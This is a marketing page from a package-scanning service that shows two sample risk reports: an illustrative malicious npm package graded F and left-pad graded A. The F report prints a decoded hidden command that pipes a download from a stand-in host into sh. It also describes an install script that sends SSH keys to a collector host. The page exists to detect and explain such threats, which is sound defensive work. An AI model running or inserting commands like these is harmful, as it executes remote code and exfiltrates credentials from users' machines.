Example reports

This is what a full report looks like

Two samples below: one with serious findings (illustrative names and hosts), and one that comes back clean.

Harmful sample (Grade F)Clean sample (Grade A)Real checked packages Check your own, free

Example 1

Grade F: harmful behaviour found

AgentArmorHQ · Risk Report

gate-main-example 2.4.1 · npm

Checked 18 Oct 2026Fingerprint 00e1ab5c…7714Engine v2.0.0

Malicious

Malicious behaviour found: At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5). This package does something harmful on purpose. Severity: critical.

Scorecard

Eight dimensions

Each score comes from what the published files do, not from the README. Rules set every number; the review cannot raise or lower one.

Harmful intentEvidence the author means harm

At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5).

Install-time behaviourWhat runs when you install

1 install hook; the riskiest runs a script shipped in the package.

Secrets & data accessKeys, tokens and files it reads

At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5).

Network reachWhere it sends data

Contacts data-collection or raw-IP address (collector.example).

Code transparencyObfuscation and hidden code

Hides a shell command in an encoded blob.

Agent instructionsHidden text aimed at your AI

100

Nothing unusual in the text the model reads.

DependenciesLookalikes, URLs, advisories

dayjs: declared but never imported.

HygieneLeaked credentials, stale files

100

No committed credentials or provenance gaps found.

Findings

What we found, with evidence

Only behaviour that points to intent is listed here. Ordinary capabilities are in the next section.

7findings

Certain · 1Strong · 6Weak · 0

Step-by-step execution and data-flow chain

Active risk chain

Step-by-step trace: Runs automatically during install (postinstall: node scripts/postinstall.js) -> Reads credential file (scripts/postinstall.js:3 ssh), env (lib/notion.js:2 NOTION_TOKEN) -> Downloads code from payload.example and runs it (lib/util.js:2). -> Contacts collector[.]example (data collector), payload[.]example (not explained by purpose), api.notion[.]com (matches purpose)

1. Entry & triggerInstall-time trigger

Runs automatically during install (postinstall: node scripts/postinstall.js)

scripts/postinstall.js:5

2. Secret & file reachSensitive read flagged

Reads credential file (scripts/postinstall.js:3 ssh), env (lib/notion.js:2 NOTION_TOKEN)

scripts/postinstall.js:5

3. Execution & deobfuscationHidden / dynamic exec

Downloads code from payload.example and runs it (lib/util.js:2).

lib/util.js:2

4. Network destinationExfil / collector host

Contacts collector[.]example (data collector), payload[.]example (not explained by purpose), api.notion[.]com (matches purpose)

scripts/postinstall.js:4

Install time exfiltration

Certain

scripts/postinstall.js:5

At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5).

Code trace evidence in this file

makes network requests: scripts/postinstall.js:4 collector.example
reads local credential files: scripts/postinstall.js:3 ssh

Why it mattersCode that runs during install acts before you ever open the package.

What to doDo not install it as is. Read the install script first, or install with scripts turned off (npm install --ignore-scripts).

Downloads and runs code

Strong

lib/util.js:2

Downloads code from payload.example and runs it (lib/util.js:2).

Code trace evidence in this file

downloads and runs files: lib/util.js:2
runs programs or shell commands: lib/util.js:2 literal:curl https://payload.example/s|sh
makes network requests: lib/util.js:2 payload.example
evaluates code at runtime: lib/util.js:2 decoded

Why it mattersDownloaded code can change after we checked it.

What to doPrefer a version that ships its code in the package itself.

Install time credential read

Strong

scripts/postinstall.js:3

An install script reads ssh credentials (scripts/postinstall.js:3).

Code trace evidence in this file

makes network requests: scripts/postinstall.js:4 collector.example
reads local credential files: scripts/postinstall.js:3 ssh

Why it mattersCode that runs during install acts before you ever open the package.

What to doDo not install it as is. Read the install script first, or install with scripts turned off (npm install --ignore-scripts).

Runs decoded or downloaded code

Strong

lib/util.js:2

Code that is decoded or downloaded at runtime gets executed (lib/util.js:2).

Code trace evidence in this file

downloads and runs files: lib/util.js:2
runs programs or shell commands: lib/util.js:2 literal:curl https://payload.example/s|sh
makes network requests: lib/util.js:2 payload.example
evaluates code at runtime: lib/util.js:2 decoded

Why it mattersCode that is decoded or downloaded at runtime cannot be read before it runs.

What to doTreat the package as untrusted until the payload is explained.

Encoded shell payload

Strong

lib/util.js:1

A base64-hidden shell or network command (lib/util.js:1): "console.log('hi'); require('child_process').exec('curl https://payload.example/s|sh');"

Code trace evidence in this file

downloads and runs files: lib/util.js:2
runs programs or shell commands: lib/util.js:2 literal:curl https://payload.example/s|sh
makes network requests: lib/util.js:2 payload.example
evaluates code at runtime: lib/util.js:2 decoded

Why it mattersCode hidden as an encoded blob cannot be read before it runs.

What to doTreat the package as untrusted until the payload is explained.

Contacts known collector host

Strong

scripts/postinstall.js:4

Contacts collector.example exfil-service (scripts/postinstall.js:4).

Code trace evidence in this file

makes network requests: scripts/postinstall.js:4 collector.example
reads local credential files: scripts/postinstall.js:3 ssh

Why it mattersData-collection services are used to receive stolen data.

What to doAsk the author why it needs this host, or avoid the package.

Contacts known collector host

Strong

scripts/postinstall.js:5

Contacts collector.example exfil-service (scripts/postinstall.js:5).

Code trace evidence in this file

makes network requests: scripts/postinstall.js:4 collector.example
reads local credential files: scripts/postinstall.js:3 ssh

Why it mattersData-collection services are used to receive stolen data.

What to doAsk the author why it needs this host, or avoid the package.

Our research

Reported maliciousInstall script sends local credential files to an outside server (illustrative entry)12 Oct 2026

In short. Outside researchers and our own code analysis both point to harmful behaviour. Treat this as malicious.

Behaviour and tool surface

What it can do

Many good packages do these things. They are listed so you know what you are installing, and red ones tie into a finding.

Agent and tool surface

Surface area	Observed behaviour	Status
Directive & instruction surface	No hidden directives, prompt poisoning, or cross-tool overrides detected in package text.	Clean
Context & token footprint	No always-on MCP tool definitions or agent prompt files measured in this package.	Clean
Credential & environment reach	Reads 2 credential/environment locations (lib/notion.js:2 NOTION_TOKEN, scripts/postinstall.js:3 ssh)	Flagged
Process & install execution	1 install hook · 2 process/code execution traces	Flagged
External network surface	3 fixed destinations (2 unexplained or collector hosts)	Flagged

Capabilities

Downloads and runs files
Runs code at install time
Runs programs or shell commands
Makes network requests
Evaluates code at runtime
Reads credentials from environment variables
Reads local credential files

When you install it

1 · postinstall
node scripts/postinstall.js
Runs a script shipped in the package.

Network destinations

Host	From	Relation
`collector[.]example`	`scripts/postinstall.js:4` · runs at install	Data collector
`payload[.]example`	`lib/util.js:2`	Not explained by purpose
`api.notion[.]com`	`lib/notion.js:2`	Matches purpose

Command and payload X-Ray (decoded)

Location and type	Unwrapped command or payload	Plain-English explanation
Install time exfiltration `scripts/postinstall.js:5`	`At install time, cred_file data is sent to collector.example (scripts/postinstall.js:5).`	Trigger: Executes automatically during package installation before you import or run the tool.
Downloads and runs code `lib/util.js:2`	`Downloads code from payload.example and runs it (lib/util.js:2).`	Standard command: Runs a direct command with no encoded payloads, shell pipes, or credential file reads detected.
Install time credential read `scripts/postinstall.js:3`	`An install script reads ssh credentials (scripts/postinstall.js:3).`	Trigger: Executes automatically during package installation before you import or run the tool.
Runs decoded or downloaded code `lib/util.js:2`	`Code that is decoded or downloaded at runtime gets executed (lib/util.js:2).`	Standard command: Runs a direct command with no encoded payloads, shell pipes, or credential file reads detected.
Decoded hidden payload `lib/util.js:1`	`console.log('hi'); require('child_process').exec('curl https://payload.example/s\|sh');`	Dynamic execution: Spawns an inline interpreter or child process to execute dynamically constructed code. · Network call: Contacts external host: payload[.]example. · Remote shell pipe: Pipes output directly into a system shell (sh/bash) for immediate execution.
Install hook (postinstall) `package.json (postinstall)`	`node scripts/postinstall.js`	Runs a script shipped in the package.
Shell execution trace `lib/util.js:2`	`curl https://payload.example/s\|sh`	Network call: Contacts external host: payload[.]example. · Remote shell pipe: Pipes output directly into a system shell (sh/bash) for immediate execution.

Supply chain and hardened setup

Dependencies and provenance

2 direct dependencies. 1 flagged below.

Check	Result	Outcome
Lookalike names (a fake copy of a popular package)	0 of 2	Pass
Installed from a URL instead of the registry	0	Pass
Known malware advisories (dependencies)	Lookup skipped	Note
Declared but never imported, or brand new	`dayjs`	Note
Published files match the source repository	No mismatch found	Pass
Maintainer changed since the last version	Not flagged	Pass

DependenciesLookalikes, URLs, advisories

dayjs: declared but never imported.

HygieneLeaked credentials, stale files

100

No committed credentials or provenance gaps found.

Containment and removal actions

This package is flagged. Follow the removal and credential-rotation steps below immediately.

Immediate removal command

bash

# DO NOT INSTALL gate-main-example@2.4.1 — remove immediately if present:
npm uninstall gate-main-example

Do not install or load this package in any workspace.
If it was installed on any machine, remove it and rotate every API key, token, and SSH credential stored on that machine.
Check outbound network logs for any hosts listed in the Network destinations table above.

Second opinion

Review

Two separate reviewers read the evidence on their own. They can confirm intent, but they cannot clear a certain finding or set a grade.

First review

Malicious

Confidence97%

The postinstall script reads a private SSH key and posts it to a request-capture service that has nothing to do with note syncing.

Independent second review

Malicious

Confidence94%

Agrees. The base64 blob in lib/util.js decodes to a command that downloads and runs a shell script from an unrelated host.

How this report is made

We read the published files as text and never run, install or import them. Rules turn what the code does into findings, and every grade comes only from those findings. Letter grades: A is 90 and up, B 75, C 60, D 40, F below 40. The overall grade is a weighted average with harmful intent counting most, and it follows the intent score when that falls below 50. Engine version 2.0.0.

0 / 712clean popular packages flagged high

360 / 461real malware caught high or critical

~4 stime to finish a check

Based on public adoption and transparency signals as of Oct 18, 2026. Our opinion, not a code audit or security guarantee. It can miss things, so use it as one input to your own decision.

Was this risk report helpful?

Example 2

Grade A: nothing found

AgentArmorHQ · Risk Report

left-pad 1.3.0 · npm

Checked 18 Oct 2026Fingerprint 4be72c90…3e68Engine v2.0.0

No intent signals

No signs of harmful intent found in the published files. We found nothing that suggests the author means harm. This is not a promise that the code is free of bugs.

Scorecard

Eight dimensions

Each score comes from what the published files do, not from the README. Rules set every number; the review cannot raise or lower one.

Harmful intentEvidence the author means harm

100

No signals of harmful intent.

Install-time behaviourWhat runs when you install

100

No install hooks.

Secrets & data accessKeys, tokens and files it reads

100

No credential or sensitive data access found.

Network reachWhere it sends data

100

No fixed network destinations found in the code.

Code transparencyObfuscation and hidden code

100

Readable source; nothing hidden found.

Agent instructionsHidden text aimed at your AI

100

Nothing unusual in the text the model reads.

DependenciesLookalikes, URLs, advisories

100

No dependencies; no known advisories.

HygieneLeaked credentials, stale files

100

No committed credentials or provenance gaps found.

Findings

What we found, with evidence

Only behaviour that points to intent is listed here. Ordinary capabilities are in the next section.

0findings

Certain · 0Strong · 0Weak · 0

No strong evidence of harmful intent in the published files.

Step-by-step execution and data-flow chain

No exfil chain

Step-by-step trace: This package loads cleanly without install-time exfiltration or hidden command decoding (on-demand import only, no credential reads, offline / no fixed hosts).

1. Entry & triggerOn-demand import only

Nothing executes during install; code runs only when imported or called as a tool.

2. Secret & file reachNo credential reads

Does not read SSH keys, cloud credential stores, or sensitive environment variables.

3. Execution & deobfuscationPlain static source

All code is plain readable text; no runtime eval, Base64 decoding, or shell spawning.

4. Network destinationOffline / no fixed hosts

No fixed external network endpoints or data-collection hosts detected.

Our research

No reports.

In short. No outside reports, and our code analysis found nothing that points to harmful intent.

Behaviour and tool surface

What it can do

Many good packages do these things. They are listed so you know what you are installing, and red ones tie into a finding.

Agent and tool surface

Surface area	Observed behaviour	Status
Directive & instruction surface	No hidden directives, prompt poisoning, or cross-tool overrides detected in package text.	Clean
Context & token footprint	No always-on MCP tool definitions or agent prompt files measured in this package.	Clean
Credential & environment reach	No direct credential store or bulk environment reads flagged.	Clean
Process & install execution	No install hooks or shell execution traces found.	Clean
External network surface	No fixed external network hosts found in static analysis.	Clean

Capabilities

Nothing notable found.

When you install it

Install
Nothing runs.

Network destinations

No fixed network destinations found in the code.

Command and payload X-Ray (decoded)

No install commands, encoded blobs, or shell execution traces were found in the published files.

Supply chain and hardened setup

Dependencies and provenance

0 direct dependencies. None are flagged.

Check	Result	Outcome
Lookalike names (a fake copy of a popular package)	0 of 0	Pass
Installed from a URL instead of the registry	0	Pass
Known malware advisories (dependencies)	0	Pass
Declared but never imported, or brand new	0	Pass
Published files match the source repository	No mismatch found	Pass
Maintainer changed since the last version	Not flagged	Pass

DependenciesLookalikes, URLs, advisories

100

No dependencies; no known advisories.

HygieneLeaked credentials, stale files

100

No committed credentials or provenance gaps found.

Copy-paste hardened configuration

Use these version-pinned, least-privilege settings so install hooks and ambient host tokens stay locked down.

Pinned install command (scripts disabled)

bash

npm install --ignore-scripts --save-exact "left-pad@1.3.0"

Locked-down client config (version pinned, empty env allowlist)

json

{
  "mcpServers": {
    "left-pad": {
      "command": "npx",
      "args": [
        "--yes",
        "--ignore-scripts",
        "left-pad@1.3.0"
      ],
      "env": {}
    }
  }
}

Pin exact version 1.3.0 so upstream updates cannot execute automatically without a new check.
Keep the empty "env": {} block and pass only the single narrow token this tool needs (never pass full workspace .env files).
Run inside an isolated project folder or container without access to your home directory (~/.ssh, ~/.aws).
Monitor initial tool calls and activity logs before granting write permissions.

Second opinion

Review

Two separate reviewers read the evidence on their own. They can confirm intent, but they cannot clear a certain finding or set a grade.

No review was needed for this result.

How this report is made

0 / 712clean popular packages flagged high

360 / 461real malware caught high or critical

~4 stime to finish a check

Based on public adoption and transparency signals as of Oct 18, 2026. Our opinion, not a code audit or security guarantee. It can miss things, so use it as one input to your own decision.

Was this risk report helpful?

Check your own, free Pricing

Live database examples

Real packages we already checked

Open the stored full report for any of these five packages and repositories.

MCP exploit demoA hidden base64 shell command that reads credential files and calls out to the network.
MCP injection experimentsTool text that tells the AI to slip sensitive data into a tool argument.
imgdecodeAn npm package reported as malicious by security researchers.
gate-mainListed as malicious in the OSV database.
is-numberA tiny, widely used npm package, for comparison: comes back clean.